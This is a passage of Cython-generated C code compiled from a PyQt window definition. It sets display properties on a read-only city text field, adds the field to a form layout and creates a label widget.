__Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":470 * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) * self.RR_City.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_City.setAcceptDrops(False) * self.RR_City.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__292, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":471 * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) * self.RR_City.setMouseTracking(False) * self.RR_City.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_City.setToolTip("") * self.RR_City.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 471, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 471, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__293, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 471, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":472 * self.RR_City.setMouseTracking(False) * self.RR_City.setAcceptDrops(False) * self.RR_City.setToolTip("") # <<<<<<<<<<<<<< * self.RR_City.setStatusTip("") * self.RR_City.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 472, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 472, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__294, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 472, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":473 * self.RR_City.setAcceptDrops(False) * self.RR_City.setToolTip("") * self.RR_City.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_City.setAccessibleName("") * self.RR_City.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 473, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 473, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__295, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 473, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":474 * self.RR_City.setToolTip("") * self.RR_City.setStatusTip("") * self.RR_City.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_City.setAccessibleDescription("") * self.RR_City.setInputMask("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 474, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 474, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__296, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 474, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":475 * self.RR_City.setStatusTip("") * self.RR_City.setAccessibleName("") * self.RR_City.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_City.setInputMask("") * self.RR_City.setText("R_Localit") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 475, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 475, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__297, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 475, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":476 * self.RR_City.setAccessibleName("") * self.RR_City.setAccessibleDescription("") * self.RR_City.setInputMask("") # <<<<<<<<<<<<<< * self.RR_City.setText("R_Localit") * self.RR_City.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 476, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 476, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__298, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 476, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":477 * self.RR_City.setAccessibleDescription("") * self.RR_City.setInputMask("") * self.RR_City.setText("R_Localit") # <<<<<<<<<<<<<< * self.RR_City.setFrame(False) * self.RR_City.setReadOnly(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 477, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 477, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__299, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 477, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":478 * self.RR_City.setInputMask("") * self.RR_City.setText("R_Localit") * self.RR_City.setFrame(False) # <<<<<<<<<<<<<< * self.RR_City.setReadOnly(True) * self.RR_City.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 478, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 478, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__300, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 478, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":479 * self.RR_City.setText("R_Localit") * self.RR_City.setFrame(False) * self.RR_City.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_City.setPlaceholderText("") * self.RR_City.setObjectName("RR_City") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 479, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 479, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__301, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 479, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":480 * self.RR_City.setFrame(False) * self.RR_City.setReadOnly(True) * self.RR_City.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_City.setObjectName("RR_City") * self.horizontalLayout_8.addWidget(self.RR_City) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 480, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 480, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__302, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 480, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":481 * self.RR_City.setReadOnly(True) * self.RR_City.setPlaceholderText("") * self.RR_City.setObjectName("RR_City") # <<<<<<<<<<<<<< * self.horizontalLayout_8.addWidget(self.RR_City) * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 481, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 481, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__303, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 481, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":482 * self.RR_City.setPlaceholderText("") * self.RR_City.setObjectName("RR_City") * self.horizontalLayout_8.addWidget(self.RR_City) # <<<<<<<<<<<<<< * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) * self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 482, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":483 * self.RR_City.setObjectName("RR_City") * self.horizontalLayout_8.addWidget(self.RR_City) * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) # <<<<<<<<<<<<<< * self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_38.setObjectName("label_38") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_3, __pyx_t_2, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_3, __pyx_t_2, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_3); __Pyx_GIVEREF(__pyx_int_3); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 2+__pyx_t_8, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 483, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":484 * self.horizontalLayout_8.addWidget(self.RR_City) * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) * self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_38.setObjectName("label_38") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_38, __pyx_t_7) < 0) __PYX_ERR(0, 484, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":485 * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) * self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_38.setObjectName("label_38") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_38); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 485, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 485, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__304, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 485, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 